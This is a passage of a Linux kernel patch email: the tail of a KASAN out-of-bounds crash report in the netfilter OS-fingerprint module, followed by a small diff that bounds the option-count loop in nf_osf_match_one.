RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007f1674040fef
RDX: 0000000000000080 RSI: 00007ffe90524030 RDI: 0000000000000006
RBP: 00007ffe905240d0 R08: 0000000000000000 R09: 0000000000000000
R10: 0000560534f9b61f R11: 0000000000000293 R12: 0000560534f9c1b0
R13: 0000000000000000 R14: 0000000000000000 R15: 0000000000000000
 </TASK>

Allocated by task 6431:
 kasan_save_stack+0x1e/0x40 linux-6.0-rc4/mm/kasan/common.c:38
 kasan_set_track linux-6.0-rc4/mm/kasan/common.c:45
 set_alloc_info linux-6.0-rc4/mm/kasan/common.c:437
 ____kasan_kmalloc linux-6.0-rc4/mm/kasan/common.c:516
 ____kasan_kmalloc linux-6.0-rc4/mm/kasan/common.c:475
 __kasan_kmalloc+0xa6/0xd0 linux-6.0-rc4/mm/kasan/common.c:525
 kasan_kmalloc linux-6.0-rc4/./include/linux/kasan.h:234
 kmem_cache_alloc_trace+0x25a/0x460 linux-6.0-rc4/mm/slab.c:3559
 kmalloc linux-6.0-rc4/./include/linux/slab.h:600
 nfnl_osf_add_callback+0x11f/0x550 linux-6.0-rc4/net/netfilter/nfnetlink_osf.c:316
 nfnetlink_rcv_msg+0xbcf/0x13f0 linux-6.0-rc4/net/netfilter/nfnetlink.c:300
 netlink_rcv_skb+0x153/0x420 linux-6.0-rc4/net/netlink/af_netlink.c:2501
 nfnetlink_rcv+0x1ac/0x420 linux-6.0-rc4/net/netfilter/nfnetlink.c:658
 netlink_unicast_kernel linux-6.0-rc4/net/netlink/af_netlink.c:1319
 netlink_unicast+0x543/0x7f0 linux-6.0-rc4/net/netlink/af_netlink.c:1345
 netlink_sendmsg+0x918/0xe20 linux-6.0-rc4/net/netlink/af_netlink.c:1921
 sock_sendmsg_nosec linux-6.0-rc4/net/socket.c:714
 sock_sendmsg+0xcf/0x120 linux-6.0-rc4/net/socket.c:734
 ____sys_sendmsg+0x6e6/0x800 linux-6.0-rc4/net/socket.c:2482
 ___sys_sendmsg+0x11d/0x1b0 linux-6.0-rc4/net/socket.c:2536
 __sys_sendmsg+0xfa/0x1d0 linux-6.0-rc4/net/socket.c:2565
 do_syscall_x64 linux-6.0-rc4/arch/x86/entry/common.c:50
 do_syscall_64+0x35/0xb0 linux-6.0-rc4/arch/x86/entry/common.c:80
 entry_SYSCALL_64_after_hwframe+0x63/0xcd linux-6.0-rc4/arch/x86/entry/entry_64.S:120

Last potentially related work creation:
 kasan_save_stack+0x1e/0x40 linux-6.0-rc4/mm/kasan/common.c:38
 __kasan_record_aux_stack+0x7e/0x90 linux-6.0-rc4/mm/kasan/generic.c:348
 kvfree_call_rcu+0x74/0x940 linux-6.0-rc4/kernel/rcu/tree.c:3322
 put_css_set_locked linux-6.0-rc4/kernel/cgroup/cgroup.c:988
 put_css_set_locked+0xa9c/0x1000 linux-6.0-rc4/kernel/cgroup/cgroup.c:954
 put_css_set linux-6.0-rc4/kernel/cgroup/cgroup-internal.h:211
 put_css_set linux-6.0-rc4/kernel/cgroup/cgroup-internal.h:198
 cgroup_free+0x83/0x1b0 linux-6.0-rc4/kernel/cgroup/cgroup.c:6525
 __put_task_struct+0x113/0x3d0 linux-6.0-rc4/kernel/fork.c:840
 put_task_struct linux-6.0-rc4/./include/linux/sched/task.h:119
 delayed_put_task_struct+0x1f1/0x330 linux-6.0-rc4/kernel/exit.c:177
 rcu_do_batch linux-6.0-rc4/kernel/rcu/tree.c:2245
 rcu_core+0x7bb/0x1850 linux-6.0-rc4/kernel/rcu/tree.c:2505
 __do_softirq+0x1d3/0x9b3 linux-6.0-rc4/kernel/softirq.c:571

The buggy address belongs to the object at ffff88804bc64000
 which belongs to the cache kmalloc-1k of size 1024
The buggy address is located 626 bytes inside of
 1024-byte region [ffff88804bc64000, ffff88804bc64400)

The buggy address belongs to the physical page:
page:ffffea00012f1900 refcount:1 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x4bc64
flags: 0x4fff00000000200(slab|node=1|zone=1|lastcpupid=0x7ff)
raw: 04fff00000000200 ffffea0001023808 ffffea00012f1f08 ffff888011840700
raw: 0000000000000000 ffff88804bc64000 0000000100000002 0000000000000000
page dumped because: kasan: bad access detected
page_owner tracks the page as allocated
page last allocated via order 0, migratetype Unmovable, gfp_mask 0x2420c0(__GFP_IO|__GFP_FS|__GFP_NOWARN|__GFP_COMP|__GFP_THISNODE), pid 1, tgid 1 (systemd), ts 22208538581, free_ts 22201347598
 prep_new_page linux-6.0-rc4/mm/page_alloc.c:2532
 get_page_from_freelist+0x1082/0x2ae0 linux-6.0-rc4/mm/page_alloc.c:4283
 __alloc_pages+0x1c7/0x510 linux-6.0-rc4/mm/page_alloc.c:5515
 __alloc_pages_node linux-6.0-rc4/./include/linux/gfp.h:243
 kmem_getpages linux-6.0-rc4/mm/slab.c:1363
 cache_grow_begin+0x75/0x370 linux-6.0-rc4/mm/slab.c:2569
 cache_alloc_refill+0x27e/0x380 linux-6.0-rc4/mm/slab.c:2942
 ____cache_alloc linux-6.0-rc4/mm/slab.c:3018
 ____cache_alloc linux-6.0-rc4/mm/slab.c:3001
 slab_alloc_node linux-6.0-rc4/mm/slab.c:3220
 kmem_cache_alloc_node_trace+0x4f5/0x560 linux-6.0-rc4/mm/slab.c:3601
 __do_kmalloc_node linux-6.0-rc4/mm/slab.c:3623
 __kmalloc_node+0x38/0x60 linux-6.0-rc4/mm/slab.c:3631
 kmalloc_node linux-6.0-rc4/./include/linux/slab.h:623
 kvmalloc_node+0x3e/0x190 linux-6.0-rc4/mm/util.c:613
 kvzalloc_node linux-6.0-rc4/./include/linux/slab.h:754
 alloc_shrinker_info+0xe9/0x290 linux-6.0-rc4/mm/vmscan.c:282
 mem_cgroup_css_online+0x182/0x470 linux-6.0-rc4/mm/memcontrol.c:5292
 online_css+0xaf/0x2a0 linux-6.0-rc4/kernel/cgroup/cgroup.c:5334
 css_create linux-6.0-rc4/kernel/cgroup/cgroup.c:5405
 cgroup_apply_control_enable+0x69f/0xc00 linux-6.0-rc4/kernel/cgroup/cgroup.c:3204
 cgroup_mkdir+0x5a0/0x1300 linux-6.0-rc4/kernel/cgroup/cgroup.c:5602
 kernfs_iop_mkdir+0x146/0x1d0 linux-6.0-rc4/fs/kernfs/dir.c:1185
 vfs_mkdir+0x3a9/0x650 linux-6.0-rc4/fs/namei.c:4013
 do_mkdirat+0x28c/0x310 linux-6.0-rc4/fs/namei.c:4038
 __do_sys_mkdir linux-6.0-rc4/fs/namei.c:4058
 __se_sys_mkdir linux-6.0-rc4/fs/namei.c:4056
 __x64_sys_mkdir+0xf2/0x140 linux-6.0-rc4/fs/namei.c:4056
page last free stack trace:
 reset_page_owner linux-6.0-rc4/./include/linux/page_owner.h:24
 free_pages_prepare linux-6.0-rc4/mm/page_alloc.c:1449
 free_pcp_prepare+0x4b0/0xb50 linux-6.0-rc4/mm/page_alloc.c:1499
 free_unref_page_prepare linux-6.0-rc4/mm/page_alloc.c:3380
 free_unref_page+0x19/0x520 linux-6.0-rc4/mm/page_alloc.c:3476
 tlb_batch_list_free linux-6.0-rc4/mm/mmu_gather.c:74
 tlb_finish_mmu+0x1a3/0x7e0 linux-6.0-rc4/mm/mmu_gather.c:356
 exit_mmap+0x1d2/0x480 linux-6.0-rc4/mm/mmap.c:3118
 __mmput+0x122/0x4b0 linux-6.0-rc4/kernel/fork.c:1187
 mmput+0x56/0x60 linux-6.0-rc4/kernel/fork.c:1208
 exit_mm linux-6.0-rc4/kernel/exit.c:510
 do_exit+0x9d9/0x29b0 linux-6.0-rc4/kernel/exit.c:782
 do_group_exit+0xd2/0x2f0 linux-6.0-rc4/kernel/exit.c:925
 __do_sys_exit_group linux-6.0-rc4/kernel/exit.c:936
 __se_sys_exit_group linux-6.0-rc4/kernel/exit.c:934
 __x64_sys_exit_group+0x3a/0x50 linux-6.0-rc4/kernel/exit.c:934
 do_syscall_x64 linux-6.0-rc4/arch/x86/entry/common.c:50
 do_syscall_64+0x35/0xb0 linux-6.0-rc4/arch/x86/entry/common.c:80
 entry_SYSCALL_64_after_hwframe+0x63/0xcd linux-6.0-rc4/arch/x86/entry/entry_64.S:120

Memory state around the buggy address:
 ffff88804bc64100: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
 ffff88804bc64180: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
>ffff88804bc64200: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fc fc
                                                             ^
 ffff88804bc64280: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
 ffff88804bc64300: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc

Reported-by: Lucas Leong <[email-masked]>
Cc: [email-masked]
Signed-off-by: Wander Lairson Costa <[email-masked]>
---
 net/netfilter/nfnetlink_osf.c | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/net/netfilter/nfnetlink_osf.c b/net/netfilter/nfnetlink_osf.c
index 8f1bfa6ccc2d..3a0487560c89 100644
--- a/net/netfilter/nfnetlink_osf.c
+++ b/net/netfilter/nfnetlink_osf.c
@@ -70,6 +70,7 @@ static bool nf_osf_match_one(const struct sk_buff *skb,
 	unsigned int check_WSS = 0;
 	int fmatch = FMATCH_WRONG;
 	int foptsize, optnum;
+	int opt_num = min_t(__u16, f->opt_num, ARRAY_SIZE(f->opt));
 	u16 mss = 0;
 
 	if (ctx->totlen != f->ss || !nf_osf_ttl(skb, ttl_check, f->ttl))
@@ -84,7 +85,7 @@ static bool nf_osf_match_one(const struct sk_buff *skb,
 	/* Check options */
 
 	foptsize = 0;
-	for (optnum = 0; optnum < f->opt_num; ++optnum)
+	for (optnum = 0; optnum < opt_num; ++optnum)
 		foptsize += f->opt[optnum].length;
 
 	if (foptsize > MAX_IPOPTLEN ||
@@ -94,7 +95,7 @@ static bool nf_osf_match_one(const struct sk_buff *skb,
 
 	check_WSS = f->wss.wc;
 
-	for (optnum = 0; optnum < f->opt_num; ++optnum) {
+	for (optnum = 0; optnum < opt_num; ++optnum) {
 		if (f->opt[optnum].kind == *ctx->optp) {
 			__u32 len = f->opt[optnum].length;
 			const __u8 *optend = ctx->optp + len;
-- 
2.41.0